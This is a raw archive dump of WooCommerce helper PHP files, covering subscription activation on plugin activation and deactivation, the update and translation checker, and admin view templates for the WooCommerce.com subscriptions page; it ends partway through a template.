		$plugins = self::get_local_woo_plugins();

		// Not a local woo plugin.
		if ( empty( $plugins[ $filename ] ) ) {
			return;
		}

		// Make sure we have a connection.
		$auth = WC_Helper_Options::get( 'auth' );
		if ( empty( $auth ) ) {
			return;
		}

		$plugin        = $plugins[ $filename ];
		$product_id    = $plugin['_product_id'];
		$subscriptions = self::_get_subscriptions_from_product_id( $product_id, false );

		// No valid subscriptions for this product.
		if ( empty( $subscriptions ) ) {
			return;
		}

		$subscription = null;
		foreach ( $subscriptions as $_sub ) {

			// Don't attempt to activate expired subscriptions.
			if ( $_sub['expired'] ) {
				continue;
			}

			// No more sites available in this subscription.
			if ( $_sub['sites_max'] && $_sub['sites_active'] >= $_sub['sites_max'] ) {
				continue;
			}

			// Looks good.
			$subscription = $_sub;
			break;
		}

		// No valid subscription found.
		if ( ! $subscription ) {
			return;
		}

		$product_key         = $subscription['product_key'];
		$activation_response = WC_Helper_API::post(
			'activate',
			array(
				'authenticated' => true,
				'body'          => wp_json_encode(
					array(
						'product_key' => $product_key,
					)
				),
			)
		);

		$activated = wp_remote_retrieve_response_code( $activation_response ) === 200;
		$body      = json_decode( wp_remote_retrieve_body( $activation_response ), true );

		if ( ! $activated && ! empty( $body['code'] ) && 'already_connected' === $body['code'] ) {
			$activated = true;
		}

		if ( $activated ) {
			self::log( 'Auto-activated a subscription for ' . $filename );
			/**
			 * Fires when the Helper activates a product successfully.
			 *
			 * @param int    $product_id Product ID being activated.
			 * @param string $product_key Subscription product key.
			 * @param array  $activation_response The response object from wp_safe_remote_request().
			 */
			do_action( 'woocommerce_helper_subscription_activate_success', $product_id, $product_key, $activation_response );
		} else {
			self::log( 'Could not activate a subscription upon plugin activation: ' . $filename );

			/**
			 * Fires when the Helper fails to activate a product.
			 *
			 * @param int    $product_id Product ID being activated.
			 * @param string $product_key Subscription product key.
			 * @param array  $activation_response The response object from wp_safe_remote_request().
			 */
			do_action( 'woocommerce_helper_subscription_activate_error', $product_id, $product_key, $activation_response );
		}

		self::_flush_subscriptions_cache();
		self::_flush_updates_cache();
	}

	/**
	 * Runs when any plugin is deactivated.
	 *
	 * When a user deactivates a plugin, attempt to deactivate any subscriptions
	 * associated with the extension.
	 *
	 * @param string $filename The filename of the deactivated plugin.
	 */
	public static function deactivated_plugin( $filename ) {
		$plugins = self::get_local_woo_plugins();

		// Not a local woo plugin.
		if ( empty( $plugins[ $filename ] ) ) {
			return;
		}

		// Make sure we have a connection.
		$auth = WC_Helper_Options::get( 'auth' );
		if ( empty( $auth ) ) {
			return;
		}

		$plugin        = $plugins[ $filename ];
		$product_id    = $plugin['_product_id'];
		$subscriptions = self::_get_subscriptions_from_product_id( $product_id, false );
		$site_id       = absint( $auth['site_id'] );

		// No valid subscriptions for this product.
		if ( empty( $subscriptions ) ) {
			return;
		}

		$deactivated = 0;

		foreach ( $subscriptions as $subscription ) {
			// Don't touch subscriptions that aren't activated on this site.
			if ( ! in_array( $site_id, $subscription['connections'], true ) ) {
				continue;
			}

			$product_key           = $subscription['product_key'];
			$deactivation_response = WC_Helper_API::post(
				'deactivate',
				array(
					'authenticated' => true,
					'body'          => wp_json_encode(
						array(
							'product_key' => $product_key,
						)
					),
				)
			);

			if ( wp_remote_retrieve_response_code( $deactivation_response ) === 200 ) {
				$deactivated++;

				/**
				 * Fires when the Helper activates a product successfully.
				 *
				 * @param int    $product_id Product ID being deactivated.
				 * @param string $product_key Subscription product key.
				 * @param array  $deactivation_response The response object from wp_safe_remote_request().
				 */
				do_action( 'woocommerce_helper_subscription_deactivate_success', $product_id, $product_key, $deactivation_response );
			} else {
				/**
				 * Fires when the Helper fails to activate a product.
				 *
				 * @param int    $product_id Product ID being deactivated.
				 * @param string $product_key Subscription product key.
				 * @param array  $deactivation_response The response object from wp_safe_remote_request().
				 */
				do_action( 'woocommerce_helper_subscription_deactivate_error', $product_id, $product_key, $deactivation_response );
			}
		}

		if ( $deactivated ) {
			self::log( sprintf( 'Auto-deactivated %d subscription(s) for %s', $deactivated, $filename ) );
			self::_flush_subscriptions_cache();
			self::_flush_updates_cache();
		}
	}

	/**
	 * Various Helper-related admin notices.
	 */
	public static function admin_notices() {
		if ( apply_filters( 'woocommerce_helper_suppress_admin_notices', false ) ) {
			return;
		}

		$screen    = get_current_screen();
		$screen_id = $screen ? $screen->id : '';

		if ( 'update-core' !== $screen_id ) {
			return;
		}

		// Don't nag if Woo doesn't have an update available.
		if ( ! self::_woo_core_update_available() ) {
			return;
		}

		// Add a note about available extension updates if Woo core has an update available.
		$notice = self::_get_extensions_update_notice();
		if ( ! empty( $notice ) ) {
			echo '<div class="updated woocommerce-message"><p>' . $notice . '</p></div>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		}
	}

	/**
	 * Get an update notice if one or more Woo extensions has an update available.
	 *
	 * @return string|null The update notice or null if everything is up to date.
	 */
	private static function _get_extensions_update_notice() {
		$plugins   = self::get_local_woo_plugins();
		$updates   = WC_Helper_Updater::get_update_data();
		$available = 0;

		foreach ( $plugins as $data ) {
			if ( empty( $updates[ $data['_product_id'] ] ) ) {
				continue;
			}

			$product_id = $data['_product_id'];
			if ( version_compare( $updates[ $product_id ]['version'], $data['Version'], '>' ) ) {
				$available++;
			}
		}

		if ( ! $available ) {
			return;
		}

		return sprintf(
			/* translators: %1$s: helper url, %2$d: number of extensions */
			_n( 'Note: You currently have <a href="%1$s">%2$d paid extension</a> which should be updated first before updating WooCommerce.', 'Note: You currently have <a href="%1$s">%2$d paid extensions</a> which should be updated first before updating WooCommerce.', $available, 'woocommerce' ),
			admin_url( 'admin.php?page=wc-addons&section=helper' ),
			$available
		);
	}

	/**
	 * Whether WooCommerce has an update available.
	 *
	 * @return bool True if a Woo core update is available.
	 */
	private static function _woo_core_update_available() {
		$updates = get_site_transient( 'update_plugins' );
		if ( empty( $updates->response ) ) {
			return false;
		}

		if ( empty( $updates->response['woocommerce/woocommerce.php'] ) ) {
			return false;
		}

		$data = $updates->response['woocommerce/woocommerce.php'];
		if ( version_compare( Constants::get_constant( 'WC_VERSION' ), $data->new_version, '>=' ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Flush subscriptions cache.
	 */
	public static function _flush_subscriptions_cache() {
		delete_transient( '_woocommerce_helper_subscriptions' );
	}

	/**
	 * Flush auth cache.
	 */
	public static function _flush_authentication_cache() {
		$request = WC_Helper_API::get(
			'oauth/me',
			array(
				'authenticated' => true,
			)
		);

		if ( wp_remote_retrieve_response_code( $request ) !== 200 ) {
			return false;
		}

		$user_data = json_decode( wp_remote_retrieve_body( $request ), true );
		if ( ! $user_data ) {
			return false;
		}

		WC_Helper_Options::update(
			'auth_user_data',
			array(
				'name'  => $user_data['name'],
				'email' => $user_data['email'],
			)
		);

		return true;
	}

	/**
	 * Flush updates cache.
	 */
	private static function _flush_updates_cache() {
		WC_Helper_Updater::flush_updates_cache();
	}

	/**
	 * Sort subscriptions by the product_name.
	 *
	 * @param array $a Subscription array.
	 * @param array $b Subscription array.
	 *
	 * @return int
	 */
	public static function _sort_by_product_name( $a, $b ) {
		return strcmp( $a['product_name'], $b['product_name'] );
	}

	/**
	 * Sort subscriptions by the Name.
	 *
	 * @param array $a Product array.
	 * @param array $b Product array.
	 *
	 * @return int
	 */
	public static function _sort_by_name( $a, $b ) {
		return strcmp( $a['Name'], $b['Name'] );
	}

	/**
	 * Log a helper event.
	 *
	 * @param string $message Log message.
	 * @param string $level Optional, defaults to info, valid levels: emergency|alert|critical|error|warning|notice|info|debug.
	 */
	public static function log( $message, $level = 'info' ) {
		if ( ! Constants::is_true( 'WP_DEBUG' ) ) {
			return;
		}

		if ( ! isset( self::$log ) ) {
			self::$log = wc_get_logger();
		}

		self::$log->log( $level, $message, array( 'source' => 'helper' ) );
	}
}

WC_Helper::load();
PK�3\YcS�:�:"helper/class-wc-helper-updater.phpnu�[���<?php
/**
 * The update helper for WooCommerce.com plugins.
 *
 * @class WC_Helper_Updater
 * @package WooCommerce\Admin\Helper
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WC_Helper_Updater Class
 *
 * Contains the logic to fetch available updates and hook into Core's update
 * routines to serve WooCommerce.com-provided packages.
 */
class WC_Helper_Updater {

	/**
	 * Loads the class, runs on init.
	 */
	public static function load() {
		add_action( 'pre_set_site_transient_update_plugins', array( __CLASS__, 'transient_update_plugins' ), 21, 1 );
		add_action( 'pre_set_site_transient_update_themes', array( __CLASS__, 'transient_update_themes' ), 21, 1 );
		add_action( 'upgrader_process_complete', array( __CLASS__, 'upgrader_process_complete' ) );
		add_action( 'upgrader_pre_download', array( __CLASS__, 'block_expired_updates' ), 10, 2 );
	}

	/**
	 * Runs in a cron thread, or in a visitor thread if triggered
	 * by _maybe_update_plugins(), or in an auto-update thread.
	 *
	 * @param object $transient The update_plugins transient object.
	 *
	 * @return object The same or a modified version of the transient.
	 */
	public static function transient_update_plugins( $transient ) {
		$update_data = self::get_update_data();

		foreach ( WC_Helper::get_local_woo_plugins() as $plugin ) {
			if ( empty( $update_data[ $plugin['_product_id'] ] ) ) {
				continue;
			}

			$data     = $update_data[ $plugin['_product_id'] ];
			$filename = $plugin['_filename'];

			$item = array(
				'id'             => 'woocommerce-com-' . $plugin['_product_id'],
				'slug'           => 'woocommerce-com-' . $data['slug'],
				'plugin'         => $filename,
				'new_version'    => $data['version'],
				'url'            => $data['url'],
				'package'        => $data['package'],
				'upgrade_notice' => $data['upgrade_notice'],
			);

			if ( isset( $data['requires_php'] ) ) {
				$item['requires_php'] = $data['requires_php'];
			}

			// We don't want to deliver a valid upgrade package when their subscription has expired.
			// To avoid the generic "no_package" error that empty strings give, we will store an
			// indication of expiration for the `upgrader_pre_download` filter to error on.
			if ( ! self::_has_active_subscription( $plugin['_product_id'] ) ) {
				$item['package'] = 'woocommerce-com-expired-' . $plugin['_product_id'];
			}

			if ( version_compare( $plugin['Version'], $data['version'], '<' ) ) {
				$transient->response[ $filename ] = (object) $item;
				unset( $transient->no_update[ $filename ] );
			} else {
				$transient->no_update[ $filename ] = (object) $item;
				unset( $transient->response[ $filename ] );
			}
		}

		$translations = self::get_translations_update_data();
		$transient->translations = array_merge( isset( $transient->translations ) ? $transient->translations : array(), $translations );

		return $transient;
	}

	/**
	 * Runs on pre_set_site_transient_update_themes, provides custom
	 * packages for WooCommerce.com-hosted extensions.
	 *
	 * @param object $transient The update_themes transient object.
	 *
	 * @return object The same or a modified version of the transient.
	 */
	public static function transient_update_themes( $transient ) {
		$update_data = self::get_update_data();

		foreach ( WC_Helper::get_local_woo_themes() as $theme ) {
			if ( empty( $update_data[ $theme['_product_id'] ] ) ) {
				continue;
			}

			$data = $update_data[ $theme['_product_id'] ];
			$slug = $theme['_stylesheet'];

			$item = array(
				'theme'       => $slug,
				'new_version' => $data['version'],
				'url'         => $data['url'],
				'package'     => '',
			);

			if ( self::_has_active_subscription( $theme['_product_id'] ) ) {
				$item['package'] = $data['package'];
			}

			if ( version_compare( $theme['Version'], $data['version'], '<' ) ) {
				$transient->response[ $slug ] = $item;
			} else {
				unset( $transient->response[ $slug ] );
				$transient->checked[ $slug ] = $data['version'];
			}
		}

		return $transient;
	}

	/**
	 * Get update data for all extensions.
	 *
	 * Scans through all subscriptions for the connected user, as well
	 * as all Woo extensions without a subscription, and obtains update
	 * data for each product.
	 *
	 * @return array Update data {product_id => data}
	 */
	public static function get_update_data() {
		$payload = array();

		// Scan subscriptions.
		foreach ( WC_Helper::get_subscriptions() as $subscription ) {
			$payload[ $subscription['product_id'] ] = array(
				'product_id' => $subscription['product_id'],
				'file_id'    => '',
			);
		}

		// Scan local plugins which may or may not have a subscription.
		foreach ( WC_Helper::get_local_woo_plugins() as $data ) {
			if ( ! isset( $payload[ $data['_product_id'] ] ) ) {
				$payload[ $data['_product_id'] ] = array(
					'product_id' => $data['_product_id'],
				);
			}

			$payload[ $data['_product_id'] ]['file_id'] = $data['_file_id'];
		}

		// Scan local themes.
		foreach ( WC_Helper::get_local_woo_themes() as $data ) {
			if ( ! isset( $payload[ $data['_product_id'] ] ) ) {
				$payload[ $data['_product_id'] ] = array(
					'product_id' => $data['_product_id'],
				);
			}

			$payload[ $data['_product_id'] ]['file_id'] = $data['_file_id'];
		}

		return self::_update_check( $payload );
	}

	/**
	 * Get translations updates informations.
	 *
	 * Scans through all subscriptions for the connected user, as well
	 * as all Woo extensions without a subscription, and obtains update
	 * data for each product.
	 *
	 * @return array Update data {product_id => data}
	 */
	public static function get_translations_update_data() {
		$payload = array();

		$installed_translations = wp_get_installed_translations( 'plugins' );

		$locales = array_values( get_available_languages() );
		/**
		 * Filters the locales requested for plugin translations.
		 *
		 * @since 3.7.0
		 * @since 4.5.0 The default value of the `$locales` parameter changed to include all locales.
		 *
		 * @param array $locales Plugin locales. Default is all available locales of the site.
		 */
		$locales = apply_filters( 'plugins_update_check_locales', $locales );
		$locales = array_unique( $locales );

		// No locales, the respone will be empty, we can return now.
		if ( empty( $locales ) ) {
			return array();
		}

		// Scan local plugins which may or may not have a subscription.
		$plugins                 = WC_Helper::get_local_woo_plugins();
		$active_woo_plugins      = array_intersect( array_keys( $plugins ), get_option( 'active_plugins', array() ) );

		/*
		* Use only plugins that are subscribed to the automatic translations updates.
		*/
		$active_for_translations = array_filter(
			$active_woo_plugins,
			function( $plugin ) use ( $plugins ) {
				return apply_filters( 'woocommerce_translations_updates_for_' . $plugins[ $plugin ]['slug'], false );
			}
		);

		// Nothing to check for, exit.
		if ( empty( $active_for_translations ) ) {
			return array();
		}

		if ( wp_doing_cron() ) {
			$timeout = 30;
		} else {
			// Three seconds, plus one extra second for every 10 plugins.
			$timeout = 3 + (int) ( count( $active_for_translations ) / 10 );
		}

		$request_body = array(
			'locales' => $locales,
			'plugins' => array(),
		);

		foreach ( $active_for_translations as $active_plugin ) {
			$plugin = $plugins[ $active_plugin ];
			$request_body['plugins'][ $plugin['slug'] ] = array( 'version' => $plugin['Version'] );
		}

		$raw_response = wp_remote_post(
			'https://translate.wordpress.com/api/translations-updates/woocommerce',
			array(
				'body'        => json_encode( $request_body ),
				'headers'     => array( 'Content-Type: application/json' ),
				'timeout'     => $timeout,
			)
		);

		// Something wrong happened on the translate server side.
		$response_code = wp_remote_retrieve_response_code( $raw_response );
		if ( 200 !== $response_code ) {
			return array();
		}

		$response = json_decode( wp_remote_retrieve_body( $raw_response ), true );

		// API error, api returned but something was wrong.
		if ( array_key_exists( 'success', $response ) && false === $response['success'] ) {
			return array();
		}

		$translations = array();

		foreach ( $response['data'] as $plugin_name => $language_packs ) {
			foreach ( $language_packs as $language_pack ) {
				// Maybe we have this language pack already installed so lets check revision date.
				if ( array_key_exists( $plugin_name, $installed_translations ) && array_key_exists( $language_pack['wp_locale'], $installed_translations[ $plugin_name ] ) ) {
					$installed_translation_revision_time = new DateTime( $installed_translations[ $plugin_name ][ $language_pack['wp_locale'] ]['PO-Revision-Date'] );
					$new_translation_revision_time       = new DateTime( $language_pack['last_modified'] );
					// Skip if translation language pack is not newer than what is installed already.
					if ( $new_translation_revision_time <= $installed_translation_revision_time ) {
						continue;
					}
				}
				$translations[] = array(
					'type'       => 'plugin',
					'slug'       => $plugin_name,
					'language'   => $language_pack['wp_locale'],
					'version'    => $language_pack['version'],
					'updated'    => $language_pack['last_modified'],
					'package'    => $language_pack['package'],
					'autoupdate' => true,
				);
			}
		}

		return $translations;
	}

	/**
	 * Run an update check API call.
	 *
	 * The call is cached based on the payload (product ids, file ids). If
	 * the payload changes, the cache is going to miss.
	 *
	 * @param array $payload Information about the plugin to update.
	 * @return array Update data for each requested product.
	 */
	private static function _update_check( $payload ) {
		ksort( $payload );
		$hash = md5( wp_json_encode( $payload ) );

		$cache_key = '_woocommerce_helper_updates';
		$data      = get_transient( $cache_key );
		if ( false !== $data ) {
			if ( hash_equals( $hash, $data['hash'] ) ) {
				return $data['products'];
			}
		}

		$data = array(
			'hash'     => $hash,
			'updated'  => time(),
			'products' => array(),
			'errors'   => array(),
		);

		$request = WC_Helper_API::post(
			'update-check',
			array(
				'body'          => wp_json_encode( array( 'products' => $payload ) ),
				'authenticated' => true,
			)
		);

		if ( wp_remote_retrieve_response_code( $request ) !== 200 ) {
			$data['errors'][] = 'http-error';
		} else {
			$data['products'] = json_decode( wp_remote_retrieve_body( $request ), true );
		}

		set_transient( $cache_key, $data, 12 * HOUR_IN_SECONDS );
		return $data['products'];
	}

	/**
	 * Check for an active subscription.
	 *
	 * Checks a given product id against all subscriptions on
	 * the current site. Returns true if at least one active
	 * subscription is found.
	 *
	 * @param int $product_id The product id to look for.
	 *
	 * @return bool True if active subscription found.
	 */
	private static function _has_active_subscription( $product_id ) {
		if ( ! isset( $auth ) ) {
			$auth = WC_Helper_Options::get( 'auth' );
		}

		if ( ! isset( $subscriptions ) ) {
			$subscriptions = WC_Helper::get_subscriptions();
		}

		if ( empty( $auth['site_id'] ) || empty( $subscriptions ) ) {
			return false;
		}

		// Check for an active subscription.
		foreach ( $subscriptions as $subscription ) {
			if ( $subscription['product_id'] != $product_id ) {
				continue;
			}

			if ( in_array( absint( $auth['site_id'] ), $subscription['connections'] ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Get the number of products that have updates.
	 *
	 * @return int The number of products with updates.
	 */
	public static function get_updates_count() {
		$cache_key = '_woocommerce_helper_updates_count';
		$count     = get_transient( $cache_key );
		if ( false !== $count ) {
			return $count;
		}

		// Don't fetch any new data since this function in high-frequency.
		if ( ! get_transient( '_woocommerce_helper_subscriptions' ) ) {
			return 0;
		}

		if ( ! get_transient( '_woocommerce_helper_updates' ) ) {
			return 0;
		}

		$count       = 0;
		$update_data = self::get_update_data();

		if ( empty( $update_data ) ) {
			set_transient( $cache_key, $count, 12 * HOUR_IN_SECONDS );
			return $count;
		}

		// Scan local plugins.
		foreach ( WC_Helper::get_local_woo_plugins() as $plugin ) {
			if ( empty( $update_data[ $plugin['_product_id'] ] ) ) {
				continue;
			}

			if ( version_compare( $plugin['Version'], $update_data[ $plugin['_product_id'] ]['version'], '<' ) ) {
				$count++;
			}
		}

		// Scan local themes.
		foreach ( WC_Helper::get_local_woo_themes() as $theme ) {
			if ( empty( $update_data[ $theme['_product_id'] ] ) ) {
				continue;
			}

			if ( version_compare( $theme['Version'], $update_data[ $theme['_product_id'] ]['version'], '<' ) ) {
				$count++;
			}
		}

		set_transient( $cache_key, $count, 12 * HOUR_IN_SECONDS );
		return $count;
	}

	/**
	 * Return the updates count markup.
	 *
	 * @return string Updates count markup, empty string if no updates avairable.
	 */
	public static function get_updates_count_html() {
		$count = self::get_updates_count();
		if ( ! $count ) {
			return '';
		}

		$count_html = sprintf( '<span class="update-plugins count-%d"><span class="update-count">%d</span></span>', $count, number_format_i18n( $count ) );
		return $count_html;
	}

	/**
	 * Flushes cached update data.
	 */
	public static function flush_updates_cache() {
		delete_transient( '_woocommerce_helper_updates' );
		delete_transient( '_woocommerce_helper_updates_count' );
		delete_site_transient( 'update_plugins' );
		delete_site_transient( 'update_themes' );
	}

	/**
	 * Fires when a user successfully updated a theme or a plugin.
	 */
	public static function upgrader_process_complete() {
		delete_transient( '_woocommerce_helper_updates_count' );
	}

	/**
	 * Hooked into the upgrader_pre_download filter in order to better handle error messaging around expired
	 * plugin updates. Initially we were using an empty string, but the error message that no_package
	 * results in does not fit the cause.
	 *
	 * @since 4.1.0
	 * @param bool   $reply Holds the current filtered response.
	 * @param string $package The path to the package file for the update.
	 * @return false|WP_Error False to proceed with the update as normal, anything else to be returned instead of updating.
	 */
	public static function block_expired_updates( $reply, $package ) {
		// Don't override a reply that was set already.
		if ( false !== $reply ) {
			return $reply;
		}

		// Only for packages with expired subscriptions.
		if ( 0 !== strpos( $package, 'woocommerce-com-expired-' ) ) {
			return false;
		}

		return new WP_Error(
			'woocommerce_subscription_expired',
			sprintf(
				// translators: %s: URL of WooCommerce.com subscriptions tab.
				__( 'Please visit the <a href="%s" target="_blank">subscriptions page</a> and renew to continue receiving updates.', 'woocommerce' ),
				esc_url( admin_url( 'admin.php?page=wc-addons&section=helper' ) )
			)
		);
	}
}

WC_Helper_Updater::load();
PK�3\K�r��%helper/views/html-section-account.phpnu�[���<?php defined( 'ABSPATH' ) or exit(); ?>

<a class="button button-update" href="<?php echo esc_url( $refresh_url ); ?>"><span class="dashicons dashicons-image-rotate"></span> <?php _e( 'Update', 'woocommerce' ); ?></a>
<div class="user-info">
	<header>
		<p><?php printf( __( 'Connected to WooCommerce.com', 'woocommerce' ) ); ?> <span class="chevron dashicons dashicons-arrow-down-alt2"></span></p>
	</header>
	<section>
		<p><?php echo get_avatar( $auth_user_data['email'], 48 ); ?> <?php echo esc_html( $auth_user_data['email'] ); ?></p>
		<div class="actions">
			<a class="" href="https://woocommerce.com/my-account/my-subscriptions/" target="_blank"><span class="dashicons dashicons-admin-generic"></span> <?php _e( 'My Subscriptions', 'woocommerce' ); ?></a>
			<a class="" href="<?php echo esc_url( $disconnect_url ); ?>"><span class="dashicons dashicons-no"></span> <?php _e( 'Disconnect', 'woocommerce' ); ?></a>
		</div>
	</section>
</div>
PK�3\Uݞ���!helper/views/html-oauth-start.phpnu�[���<?php
/**
 * Admin -> WooCommerce -> Extensions -> WooCommerce.com Subscriptions main page.
 *
 * @package WooCommerce\Views
 */

defined( 'ABSPATH' ) || exit();

?>

<div class="wrap woocommerce wc-addons-wrap wc-helper">
	<h1 class="screen-reader-text"><?php esc_html_e( 'WooCommerce Extensions', 'woocommerce' ); ?></h1>
	<?php require WC_Helper::get_view_filename( 'html-section-notices.php' ); ?>

		<div class="start-container">
			<div class="text">
				<img src="<?php echo esc_url( WC()->plugin_url() . '/assets/images/woocommerce_logo.png' ); ?>" alt="<?php esc_attr_e( 'WooCommerce', 'woocommerce' ); ?>" style="width:180px;">

				<?php if ( ! empty( $_GET['wc-helper-status'] ) && 'helper-disconnected' === $_GET['wc-helper-status'] ) : ?>
					<p><strong><?php esc_html_e( 'Sorry to see you go.', 'woocommerce' ); ?></strong> <?php esc_html_e( 'Feel free to reconnect again using the button below.', 'woocommerce' ); ?></p>
				<?php endif; ?>

				<h2><?php esc_html_e( 'Manage your subscriptions, get important product notifications, and updates, all from the convenience of your WooCommerce dashboard', 'woocommerce' ); ?></h2>
				<p><?php esc_html_e( 'Once connected, your WooCommerce.com purchases will be listed here.', 'woocommerce' ); ?></p>
				<p><a class="button button-primary button-helper-connect" href="<?php echo esc_url( $connect_url ); ?>"><?php esc_html_e( 'Connect', 'woocommerce' ); ?></a></p>
			</div>
		</div>
</div>
PK�3\���+�+helper/views/html-main.phpnu�[���<?php
/**
 * Helper main view
 *
 * @package WooCommerce\Helper
 */

?>
<?php defined( 'ABSPATH' ) || exit(); ?>

<div class="wrap woocommerce wc-subscriptions-wrap wc-helper">
	<h1 class="screen-reader-text"><?php esc_html_e( 'My Subscriptions', 'woocommerce' ); ?></h1>

	<?php require WC_Helper::get_view_filename( 'html-section-notices.php' ); ?>

	<div class="subscriptions-header">
		<h2><?php esc_html_e( 'Subscriptions', 'woocommerce' ); ?></h2>
		<?php require WC_Helper::get_view_filename( 'html-section-account.php' ); ?>
		<p>
			<?php
			printf(
				wp_kses(
					/* translators: Introduction to list of WooCommerce.com extensions the merchant has subscriptions for. */
					__(
						'Below is a list of extensions available on your WooCommerce.com account. To receive extension updates please make sure the extension is installed, and its subscription activated and connected to your WooCommerce.com account. Extensions can be activated from the <a href="%s">Plugins</a> screen.',
						'woocommerce'
					),
					array(
						'a' => array(
							'href' => array(),
						),
					)
				),
				esc_url(
					admin_url( 'plugins.php' )
				)
			);
			?>
		</p>
	</div>

	<ul class="subscription-filter">
		<label><?php esc_html_e( 'Sort by:', 'woocommerce' ); ?> <span class="chevron dashicons dashicons-arrow-up-alt2"></span></label>
		<?php
			$filters        = array_keys( WC_Helper::get_filters() );
			$last_filter    = array_pop( $filters );
			$current_filter = WC_Helper::get_current_filter();
			$counts         = WC_Helper::get_filters_counts();
		?>

		<?php
		foreach ( WC_Helper::get_filters() as $key => $label ) :
			// Don't show empty filters.
			if ( empty( $counts[ $key ] ) ) {
				continue;
			}

			$url        = admin_url( 'admin.php?page=wc-addons&section=helper&filter=' . $key );
			$class_html = $current_filter === $key ? 'class="current"' : '';
			?>
			<li>
				<a <?php echo esc_html( $class_html ); ?> href="<?php echo esc_url( $url ); ?>">
					<?php echo esc_html( $label ); ?>
					<span class="count">(<?php echo absint( $counts[ $key ] ); ?>)</span>
				</a>
			</li>
		<?php endforeach; ?>
	</ul>

	<table class="wp-list-table widefat fixed striped">
		<?php if ( ! empty( $subscriptions ) ) : ?>
			<?php foreach ( $subscriptions as $subscription ) : ?>
				<tbody>
				<tr class="wp-list-table__row is-ext-header">
					<td class="wp-list-table__ext-details">
						<div class="wp-list-table__ext-title">
							<a href="<?php echo esc_url( $subscription['product_url'] ); ?>" target="_blank">
								<?php echo esc_html( $subscription['product_name'] ); ?>
							</a>
						</div>

						<div class="wp-list-table__ext-description">
							<?php if ( $subscription['lifetime'] ) : ?>
								<span class="renews">
									<?php esc_html_e( 'Lifetime Subscription', 'woocommerce' ); ?>
								</span>
							<?php elseif ( $subscription['expired'] ) : ?>
								<span class="renews">
									<strong><?php esc_html_e( 'Expired :(', 'woocommerce' ); ?></strong>
									<?php echo esc_html( date_i18n( 'F jS, Y', $subscription['expires'] ) ); ?>
								</span>
							<?php elseif ( $subscription['autorenew'] ) : ?>
								<span class="renews">
									<?php esc_html_e( 'Auto renews on:', 'woocommerce' ); ?>
									<?php echo esc_html( date_i18n( 'F jS, Y', $subscription['expires'] ) ); ?>
								</span>
							<?php elseif ( $subscription['expiring'] ) : ?>
								<span class="renews">
									<strong><?php esc_html_e( 'Expiring soon!', 'woocommerce' ); ?></strong>
									<?php echo esc_html( date_i18n( 'F jS, Y', $subscription['expires'] ) ); ?>
								</span>
							<?php else : ?>
								<span class="renews">
									<?php esc_html_e( 'Expires on:', 'woocommerce' ); ?>
									<?php echo esc_html( date_i18n( 'F jS, Y', $subscription['expires'] ) ); ?>
								</span>
							<?php endif; ?>

							<br/>
							<span class="subscription">
								<?php
								if ( ! $subscription['active'] && $subscription['maxed'] ) {
									/* translators: %1$d: sites active, %2$d max sites active */
									printf( esc_html__( 'Subscription: Not available - %1$d of %2$d already in use', 'woocommerce' ), absint( $subscription['sites_active'] ), absint( $subscription['sites_max'] ) );
								} elseif ( $subscription['sites_max'] > 0 ) {
									/* translators: %1$d: sites active, %2$d max sites active */
									printf( esc_html__( 'Subscription: Using %1$d of %2$d sites available', 'woocommerce' ), absint( $subscription['sites_active'] ), absint( $subscription['sites_max'] ) );
								} else {
									esc_html_e( 'Subscription: Unlimited', 'woocommerce' );
								}

								// Check shared.
								if ( ! empty( $subscription['is_shared'] ) && ! empty( $subscription['owner_email'] ) ) {
									/* translators: Email address of person who shared the subscription. */
									printf( '</br>' . esc_html__( 'Shared by %s', 'woocommerce' ), esc_html( $subscription['owner_email'] ) );
								} elseif ( isset( $subscription['master_user_email'] ) ) {
									/* translators: Email address of person who shared the subscription. */
									printf( '</br>' . esc_html__( 'Shared by %s', 'woocommerce' ), esc_html( $subscription['master_user_email'] ) );
								}
								?>
							</span>
						</div>
					</td>
					<td class="wp-list-table__ext-actions">
						<?php if ( ! $subscription['active'] && $subscription['maxed'] ) : ?>
							<a class="button" href="https://woocommerce.com/my-account/my-subscriptions/" target="_blank"><?php esc_html_e( 'Upgrade', 'woocommerce' ); ?></a>
						<?php elseif ( ! $subscription['local']['installed'] && ! $subscription['expired'] ) : ?>
							<a class="button <?php echo empty( $subscription['download_primary'] ) ? 'button-secondary' : ''; ?>" href="<?php echo esc_url( $subscription['download_url'] ); ?>" target="_blank"><?php esc_html_e( 'Download', 'woocommerce' ); ?></a>
						<?php elseif ( $subscription['active'] ) : ?>
							<span class="form-toggle__wrapper">
								<a href="<?php echo esc_url( $subscription['deactivate_url'] ); ?>" class="form-toggle active is-compact" role="link" aria-checked="true"><?php esc_html_e( 'Active', 'woocommerce' ); ?></a>
								<label class="form-toggle__label" for="activate-extension">
									<span class="form-toggle__label-content">
										<label for="activate-extension"><?php esc_html_e( 'Active', 'woocommerce' ); ?></label>
									</span>
									<span class="form-toggle__switch"></span>
								</label>
							</span>
						<?php elseif ( ! $subscription['expired'] ) : ?>
							<span class="form-toggle__wrapper">
								<a href="<?php echo esc_url( $subscription['activate_url'] ); ?>" class="form-toggle is-compact" role="link" aria-checked="false"><?php esc_html_e( 'Inactive', 'woocommerce' ); ?></a>
								<label class="form-toggle__label" for="activate-extension">
									<span class="form-toggle__label-content">
										<label for="activate-extension"><?php esc_html_e( 'Inactive', 'woocommerce' ); ?></label>
									</span>
									<span class="form-toggle__switch"></span>
								</label>
							</span>
						<?php else : ?>
							<span class="form-toggle__wrapper">
								<span class="form-toggle disabled is-compact"><?php esc_html_e( 'Inactive', 'woocommerce' ); ?></span>
								<label class="form-toggle__label" for="activate-extension">
									<span class="form-toggle__label-content">
										<label for="activate-extension"><?php esc_html_e( 'Inactive', 'woocommerce' ); ?></label>
									</span>
								</label>
							</span>
						<?php endif; ?>
					</td>
				</tr>

				<?php foreach ( $subscription['actions'] as $subscription_action ) : ?>
				<tr class="wp-list-table__row wp-list-table__ext-updates">
					<td class="wp-list-table__ext-status <?php echo sanitize_html_class( $subscription_action['status'] ); ?>">
						<p><span class="dashicons <?php echo sanitize_html_class( $subscription_action['icon'] ); ?>"></span>
							<?php echo wp_kses_post( $subscription_action['message'] ); ?>
						</p>
					</td>
					<td class="wp-list-table__ext-actions">
						<?php if ( ! empty( $subscription_action['button_label'] ) && ! empty( $subscription_action['button_url'] ) ) : ?>
